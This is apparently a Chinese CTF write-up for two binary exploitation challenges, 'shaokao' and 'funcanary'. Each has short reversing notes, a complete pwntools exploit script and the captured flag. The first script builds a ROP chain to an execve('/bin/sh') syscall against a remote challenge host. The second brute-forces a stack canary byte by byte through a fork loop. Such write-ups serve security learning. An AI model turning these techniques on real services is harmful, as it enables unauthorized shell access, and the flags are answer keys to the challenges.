1、27日_烧烤摊儿
checksec:
ida查看:
main函数查看会发现,虽然开了canary,但是并没有设置,也就是说,可以直接栈溢出
查看反汇编:
没有什么特别,查看pijiu函数的反汇编:
发现可以卡bug:输入负数,就可以是的money增加,同时买下摊位,就可以进入关键函数:gaiming:
这里可以看出,不仅可以栈溢出,还可以把内容复制到name这个全局变量上(也就是可以把binsh字段放上)。
这道题是静态编译,也就是没有libc,因此需要用到syscall。需要用到的寄存器:
exp:
from pwn import*
context(os='linux', arch='amd64')
context.log_level = 'debug'
# p=process('./shaokao')
p=remote('123.56.99.60',16862)
elf=ELF('./shaokao')
money=0x04E60F8
name=0x04E60F0
int_0x80=0x04aa6e0
syscall_addr=0x004230a6
p.recvuntil('来点啥?\n')
p.sendline(b'1')
p.recvuntil('勇闯天涯\n')
p.sendline(b'1')
p.recvuntil('来几瓶?\n')
p.sendline(b'-20000')
p.recvuntil('来点啥?\n')
p.sendline(b'4')
p.recvuntil('来点啥?\n')
p.sendline(b'5')
p.recvuntil('请赐名:\n')
# gdb.attach(p)
# pause()
pop_abd_ret=0x04a404a
pop_rsi=0x040a67e
pop_rdi=0x040264f
# p.sendline(b'a'*0x18)
payload=b'/bin/sh\x00'.ljust(0x28,b'\x00')+p64(pop_abd_ret)+p64(0x3b)+p64(0)+p64(0)
payload+=p64(pop_rsi)+p64(0)+p64(pop_rdi)+p64(name)
payload+=p64(syscall_addr)
p.sendline(payload)
# p.recvuntil('欢迎来到')
# addr1=u64(p.recv()[:3].ljust(8,b'\x00'))
# print('addr1_is:',hex(addr1)) #0x40bf60
p.interactive()
flag值:
flag{90d2436c-9ee5-4473-b363-f0db52c2525d}
2、funcanary
checksec:
ida查看main函数,发现在循环,并且还是fork循环。因为开了canary保护,所以可以考虑利用fork循环爆破出canary:
跟进中间的函数,发现只是一个read函数,并且可以栈溢出:
又发现了一个关键函数:
因为开了地址随机化,程序的后三位是固定的,因此我们只需要爆破出第四位就可以了。这一题主打的就是爆破。
exp:
from pwn import*
context(os='linux', arch='amd64')
context.log_level = 'debug'
p=process('./funcanary')
# p=remote('39.106.84.217',42158)
canary='\x00'
p.recvuntil(b'welcome\n')
for j in range(7):
for i in range(0x100):
# p.recvuntil(b'welcome\n')
payload='a'*0x68+canary+chr(i)
p.send(payload)
respond=p.recvuntil(b'welcome\n')
print('respond_is:',respond)
if b'have fun\n' in respond:
canary += chr(i)
break
# pause()
print('canary_is:',hex(u64(canary)))
print(len(canary))
print(type(u64(canary)))
canary=hex(u64(canary))
canary=int(canary,16)
p.send(b'ok')
for i in range(0x10):
guess=chr(i*0x10+2).encode('utf-8')
payload=b'b'*0x68+p64(canary)+p64(0xdeadbeefdeadbeef)
payload+=b'\x31'+guess
p.send(payload)
flag = p.recvuntil('welcome\n')
if 'flag' in flag:
break
print('flag_is:',flag)
p.interactive()
flag值:
flag{ecb5a4ae-b39f-4d20-9acf-c71861f7cc5c}